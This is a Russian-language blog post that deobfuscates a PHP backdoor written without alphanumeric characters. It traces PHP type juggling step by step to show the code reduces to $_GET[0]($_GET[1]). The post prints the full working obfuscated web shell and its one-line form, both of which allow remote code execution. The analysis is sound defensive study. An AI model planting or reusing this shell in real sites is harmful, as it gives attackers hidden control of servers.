вторник, 15 октября 2013 г.

Деобфускация бэкдора без единого буквенно-цифрового символа

Месяц назад я увидел интересный пост про PHP-шелл без единого буквенно-цифрового символа и сильно захотел понять, что же он делает. Кому интересно — под кат!

Вот сам зловредный код



@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$
$_[$__+ $__] ;$_[@-_]($_[@!+_] );




Итак, по строчечкам:

@$_[]=@!+_; — инициализуем массив $_ (убрав вывод ошибок), при этом мы добавляем в массив элемент, так как массив пустой, то у элемента будет 0 индекс. _ PHP рассматривает как константу, естественно ее не находит, поэтому считает символ _ как string(1) "_". Оператор + делает приведение этой строки к числовому типу (0), далее идет отрицание, приводящее число к булевому типу, и отрицание в итоге дающее нам единственный элемент в массиве:

array(1) { [0]=> bool(true) }

Побитовый сдвиг @${_}>>$_ дает нам (int)0.

Приблизиться к истине это не дает:

@$arrArray[]=@!+_;
$var2=0;

$arrArray[]=$var2;
$arrArray[]=@_;
$arrArray[((++$var2)+($var2++ ))].=$arrArray;
$arrArray[]=++$var2;
$arrArray[]=$arrArray[--$var2][$var2>>$var2];
$arrArray[$var2].=(($var2+$var2)+ $arrArray[$var2-$var2]).($var2+$var2+$var2)+$arrArray[$var2-$var2];
$arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] );
$arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] );
$arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ];
$arrArray=$
$arrArray[$var2+ $var2] ;
$arrArray[@-_]($arrArray[@!+_] );




По крайней мере мы можем сократить число строк в исходнике:

$var2=0;
$arrArray = array(true, 0, "_");
$arrArray[((++$var2)+($var2++ ))].=$arrArray;


$arrArray[]=++$var2;
$arrArray[]=$arrArray[--$var2][$var2>>$var2];
$arrArray[$var2].=(($var2+$var2)+ $arrArray[$var2-$var2]).($var2+$var2+$var2)+$arrArray[$var2-$var2];
$arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] );
$arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] );
$arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ];
$arrArray=$
$arrArray[$var2+ $var2] ;
$arrArray[@-_]($arrArray[@!+_] );


((++$var2)+($var2++ )) — это то, что любят на плохих собеседованиях. В итоге получается 2, поэтому $arrArray получится в виде:

$arrArray = array(true, 0, "_Array");

При конкатенации строки и массива получилось "_Array" — таковы особенности приведения типов в PHP.

Добавим еще один элемент в наш массив:



$arrArray = array(true, 0, "_Array", 3);
$var2=3;

$arrArray[]=$arrArray[--$var2][$var2>>$var2];
$arrArray[$var2].=(($var2+$var2)+ $arrArray[$var2-$var2]).($var2+$var2+$var2)+$arrArray[$var2-$var2];
$arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] );
$arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] );
$arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ];
$arrArray=$
$arrArray[$var2+ $var2] ;
$arrArray[@-_]($arrArray[@!+_] );


$arrArray[--$var2][$var2>>$var2] — из второго элемента массива нужно взять первый символ. Получим:



$arrArray = array(true, 0, "_Array", 3, "_");

$var2=2;

$arrArray[$var2].=(($var2+$var2)+ $arrArray[$var2-$var2]).($var2+$var2+$var2)+$arrArray[$var2-$var2];
$arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] );
$arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] );
$arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ];
$arrArray=$
$arrArray[$var2+ $var2] ;
$arrArray[@-_]($arrArray[@!+_] );


Опять приходится лезть в мануал:

4 + true = 5

6 + true = 7

5. 7 = «57»


Получаем:



$arrArray = array(true, 0, "_Array57", 3, "_");

$var2=2;

$arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] );
$arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] );
$arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ];
$arrArray=$
$arrArray[$var2+ $var2] ;
$arrArray[@-_]($arrArray[@!+_] );




Наверное, мы близки к концу. Расшифруем следующую строчку.

$arrArray[4] =($arrArray[2][0]).($arrArray[2][2]^$arrArray[2][6] );

Это тоже самое, что и

$arrArray[4] ="_".(«r»^«5» );

Избавляемся от еще одной строчки:



$arrArray = array(true, 0, "_Array57", 3, "_G");

$var2=2;

$arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] );
$arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ];
$arrArray=$
$arrArray[$var2+ $var2] ;
$arrArray[@-_]($arrArray[@!+_] );




Аналогичным образом для следующей строчки кода:

$arrArray[4] .=($arrArray[2][7])^($arrArray[2][2] );

Получаем:

$arrArray[4] .=«7»^«r»;

В итоге:



$arrArray = array(true, 0, "_Array57", 3, "_GE");

$var2=2;

$arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ];
$arrArray=$
$arrArray[$var2+ $var2] ;
$arrArray[@-_]($arrArray[@!+_] );




Ну и как многие уже догадались нас ждет после деобфускации еще одной строки кода любимый всеми _GET:

$arrArray = array(true, 0, "_Array57", 3, "_GET");

$var2=2;

$arrArray=$
$arrArray[$var2+ $var2] ;
$arrArray[@-_]($arrArray[@!+_] );



Честно говоря, на этом моменте я впал в ступор. В строчке $arrArray=$ я искал неразрывный пробел и другой юникод, который может быть именем переменной. Но, конечно же, всё проще чем я думал: интерпретатор игнорирует whitespace и мы получаем уже совершенно понятную вещь:



$arrArray = array(true, 0, "_Array57", 3, "_GET");

$var2=2;

$arrArray=$$arrArray[$var2+ $var2] ;
$arrArray[@-_]($arrArray[@!+_] );


Если чуть разжевать, то:



$arrArray = array(true, 0, "_Array57", 3, "_GET");

$var2=2;

$arrArray=$_GET ;
$arrArray[@-_]($arrArray[@!+_] );


Собственно весь бэкдор свелся к одной строчке:



$_GET[0]($_GET[1] );




Теперь мы точно знаем что и как делает этот скрипт, и можем обойтись без расплывчатых объяснений для пользователя, включающих слова «boolean magic».

This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends:



Комментариев нет:

Отправить комментарий